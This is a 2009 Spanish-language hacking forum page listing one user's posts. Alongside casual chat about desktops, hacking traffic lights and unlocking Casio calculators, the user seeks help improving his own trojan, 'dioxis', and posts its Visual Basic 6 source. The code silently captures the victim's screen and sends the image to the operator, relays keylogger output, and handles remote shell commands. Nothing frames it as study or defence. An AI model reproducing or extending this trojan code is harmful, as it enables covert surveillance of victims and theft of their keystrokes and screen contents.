Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 50l3r

#281
Foro Libre / Re: Sus escritorios
17 Agosto 2009, 22:57 PM
Aqui mi windows 7


Estaba instalando kubuntu con kde 4.3 pero el escritorio me parece ya demasiado

para los que aun no lo hayan visto, lo que cambio kde:
#282
estuve mirando uno que me dejo eon pero ahora mismo no lo encuentro

esta aqui mismo en este foro y es de el, lo estoy buscando y nada

me podrias dejar alguno que supieseis de su localizacion mientras voy buscando mas?

gracias
#283
si puedes karcrack ayudame un poco, mira haber si te puedes conectar al msn y lo hablamos

#284
mm pero seria mas facil quizas el csocketplus o un array en winsock?¿

cada vez que se me conecte uno, cojo y creo otro csocketplus por lo que estoy viendo aqui
#285
pero tendria que deshacerme del csocket master que tengo?
#286
Bueno, como veran ya conoceran el troyano dioxis de estar residente en el foro y en algunos otros mas

me estoy partiendo la moral intentando mejorarle como es debido y me siguiente meta es ponerle multiconexion con csocketmaster


La duda es que nose como funcionaria eso de la multiconexion con csocketmaster, que tendria que agregar matrices a el control csocket o como seria?

gracias, un saludo
#287
Hacking / Re: Hackear semaforos
26 Julio 2009, 14:25 PM
en maquinarias anteriores podria ser, aun asi con el mirt se puede llegar a hacer y hay un tutorial que lo explica

el caso es que en mi provincia no hay semaforos por infrarrojos y en tal caso lo haria a las tantas de la mañana para probarlo
#288
Hacking / Re: Hackear semaforos
25 Julio 2009, 16:12 PM
me mola tu avatar dario jaja  :D

la cosa esta en aprender sin hacer daño  ;)
#289
Hacking / Re: Hackear semaforos
25 Julio 2009, 14:58 PM
las calculadoras casio las hacen todas igual solo que a las de menor precio las bloquean las opciones mas importantes

hay un codigo para desbloquearlas

googlea por ahi, pon

hackear calculadoras casi
truco calculadora casio

ahi lo encontraras

y respecto a lo de los semaforos, este post esta bien unicamente por el conocimiento, yo no lo pondria en practica, comom mucho a las tantas de la mañana

saludos
#290
asi que con string pasaria? ok, y que lo guardo asi directamente en la imagen?

mira un poquitin esta es la estructura:

El cliente manda la señal para que capture la imagen, la guarde y envie el tamaño



Código (vb) [Seleccionar]
Private Sub Command1_Click()
wsk.SendData "<<-envia-capt->>"
imag3n = "encendido"
End Sub





El servidor coge la señal y manda el tamaño y demas


Código (vb) [Seleccionar]
ordenimgenv = InStr(1, orden, "<<-envia-capt->>")
If ordenimgenv <> 0 Then
Call Capturar_Guardar
End If



Código (vb) [Seleccionar]
Private Sub Capturar_Guardar()
Dim rutaimg As String
MsgBox "cogiendo captura"
rutaimg = Environ$("homedrive") & "\cap.bmp"
If Dir(rutaimg) <> "" Then Kill rutaimg
Clipboard.Clear ' limpiar clipboard
Call keybd_event(44, 2, 0, 0) ' apretar impr pant
DoEvents
If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system
If Dir(rutaimg) <> "" Then
wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg)
MsgBox "envie los datos"
End If
End Sub




El cliente recibe el tamaño y pone la variable imag3n = noimagen para poder recibir los datos y avisa al servidor que le mande los datos


Código (vb) [Seleccionar]
If imag3n = "encendido" Then
    MsgBox "entra a coger tamaño"
        wsk.GetData vData, vbString
        MsgBox vData
        averiarc = InStr(1, vData, ">>|Archivo|<<")
        If averiarc = 0 Then
            imag3n = "noencendido"
            lBytes = 0
            vData = Split(vData, ">>|Archivo|<<")
            lFileSize = vData(1)
            MsgBox "tamaño: " & vData(1)
            ' Le enviamos como mensaje al cliente que comienze el envio del archivo
            wsk.SendData "<<--envia-datos-->>"
           
            'Creamos un archivo en modo binario
            Open rutaimg For Binary Access Write As #1




El servidor recibe la orden y manda los datos



Código (vb) [Seleccionar]
ordenimgenv2 = InStr(1, orden, "<<--envia-datos-->>")
If ordenimgenv2 <> 0 Then
Call enviar_img
End If



Código (vb) [Seleccionar]
Private Sub enviar_img()
Dim imagen As String
Dim Size As Long
Dim arrData() As Byte

imagen = Environ$("homedrive") & "\cap.bmp"

Open imagen For Binary Access Read As #1 ' abrimos la captura

Size = LOF(1) ' obtenemos el tamaño de la captura
ReDim arrData(Size - 1) ' redimensionamos la variable
Get #1, , arrData ' le pasamos todo a la variable
Close

wsk.SendData arrData
End Sub




El cliente esta preparado ya para recibir el archivo


Código (vb) [Seleccionar]
ElseIf imag3n = "noencendido" Then
    MsgBox "entra a coger los datos"
        ' Aumentamos lBytes con los datos que van llegando
        lBytes = lBytes + bytesTotal
        'Recibimos los datos y lo almacenamos en el arry de bytes
        wsk.GetData arrData

        'Escribimos en disco el array de bytes, es decir lo que va llegando
        Put #1, , arrData

        ' Si lo recibido es mayor o igual al tamaño entonces se terminó y cerramos
        'el archivo abierto
        If lBytes >= lFileSize Then
            'Cerramos el archivo
            Close #1
            'Reestablecemos el flag y la variable lBytes por si se intenta enviar otro archivo
            flag = False
            lBytes = 0
            'Mostrar mensaje de finalización
            MsgBox "El archivo se ha recibido por completo"
imag3n = ""
        End If
    End If




Luego en todo caso de que no se quiera recibir imagen sigue con lo demas


Código (vb) [Seleccionar]
Else


wsk.GetData devu

nickcmpr = InStr(1, devu, "<<necesito-nick>>")
If nickcmpr <> 0 Then
MsgBox "Al parecer " & wsk.RemoteHostIP & " necesita nick :_"
nick = InputBox("Pon el nick que desees a " & wsk.RemoteHostIP, "Ingresando nick", "")
wsk.SendData "<<toma-nick>>" & nick
txtnick = nick
Exit Sub
End If

nickcmprr = InStr(1, devu, "<<NICK>>")
If nickcmprr <> 0 Then
ola = Split(devu, "<<NICK>>")
txtnick = ola(1)
Exit Sub
End If

For i = 0 To Len(devu)
busca = InStr(1, devu, ">>|chating>>")
Next

If busca <> 0 Then

mens = Split(devu, ">>|chating>>")

frmchat.Text1.Text = frmchat.Text1.Text & vbCrLf & "El usuario remoto te dice:" & vbCrLf & mens(1) & vbCrLf
Exit Sub
End If


If Left(devu, 10) = "\\TECLAS//" Then

keyko = Split(devu, "\\TECLAS//")

If devu = Chr(13) Then ' si encuentra un enter
frmklg.txtkey.Text = frmklg.txtkey.Text & vbCrLf
Exit Sub
End If

If devu = Chr(9) Then frmklg.txtkey.Text = frmklg.txtkey.Text & Chr(9) ' si encuentra un tabulador

escribiendo:
frmklg.txtkey.Text = frmklg.txtkey.Text + keyko(1)
Exit Sub
End If



' ordenes shell remota

txtdlv.Text = devu

Exit Sub
End If
End Sub